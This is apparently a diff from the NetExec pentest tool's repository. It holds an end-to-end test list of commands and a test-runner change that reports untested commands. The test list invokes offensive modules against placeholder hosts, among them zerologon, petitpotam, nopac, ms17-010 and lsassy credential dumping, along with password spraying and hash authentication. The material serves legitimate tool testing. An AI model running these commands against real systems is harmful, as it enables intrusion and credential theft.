netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
# test for multiple modules at once
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M uac -M webdav -M wifi -M coerce_plus
##### SMB Anonymous Auth
netexec smb TARGET_HOST -u '' -p '' -M zerologon
netexec smb TARGET_HOST -u '' -p '' -M petitpotam
##### SMB Auth File
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
netexec smb TARGET_HOST -u TEST_USER_FILE -p tests/data/test_passwords.txt
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
##### SMB Hash File
netexec smb TARGET_HOST -u LOGIN_USERNAME -H tests/data/test_hashes.txt
netexec smb TARGET_HOST -u TEST_USER_FILE -H tests/data/test_hashes.txt
##### WMI
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2
@@ -150,6 +167,7 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections
#netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
#netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker
##### LDAP
netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users
@@ -242,3 +260,8 @@ netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --get test_file.txt
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
##### NFS
netexec nfs TARGET_HOST -u "" -p "" --shares
netexec nfs TARGET_HOST -u "" -p "" --enum-shares
netexec nfs TARGET_HOST -u "" -p "" --get-file /NFStest/test/test.txt ../test.txt
netexec nfs TARGET_HOST -u "" -p "" --put-file ../test.txt /NFStest/test
+19 -1
View File
@@ -61,6 +61,12 @@ def get_cli_args():
required=False,
help="Display errors from commands",
)
parser.add_argument(
"--not-tested",
action="store_true",
required=False,
help="Display commands that didn't get tested",
)
parser.add_argument(
"--poetry",
action="store_true",
@@ -189,6 +195,7 @@ def run_e2e_tests(args):
tasks = generate_commands(args)
tasks_len = len(tasks)
failures = []
not_tested_cmds = []
result = subprocess.Popen(
f"{args.executable} --version",
@@ -202,6 +209,7 @@ def run_e2e_tests(args):
start_time = time()
passed = 0
failed = 0
not_tested = 0
while tasks:
task = str(tasks.pop(0))
@@ -232,6 +240,11 @@ def run_e2e_tests(args):
failures.append(task.strip())
failed += 1
# Count the amount of commands that didn't get tested
if not text:
not_tested_cmds.append(task.strip())
not_tested += 1
if args.errors:
raw_text = text.decode("utf-8")
# this is not a good way to detect errors, but it does catch a lot of things
@@ -243,11 +256,16 @@ def run_e2e_tests(args):
# this prints sorta janky, but it does its job
console.log(f"[*] Results:\n{text.decode('utf-8')}")
if not_tested_cmds and args.not_tested:
console.log("[bold yellow]Commands that didn't get tested:")
for not_tested_cmd in not_tested_cmds:
console.log(f"[bold yellow]{not_tested_cmd}")
if failures:
console.log("[bold red]Failed Commands:")
for failure in failures:
console.log(f"[bold red]{failure}")
console.log(f"Ran {tasks_len} tests in {int((time() - start_time) / 60)} mins and {int((time() - start_time) % 60)} seconds - [bold green] Passed: {passed} [bold red] Failed: {failed}")
console.log(f"Ran {tasks_len} tests in {int((time() - start_time) / 60)} mins and {int((time() - start_time) % 60)} seconds - [bold green] Passed: {passed} [bold red] Failed: {failed} [bold yellow] Not Tested: {not_tested}")
if __name__ == "__main__":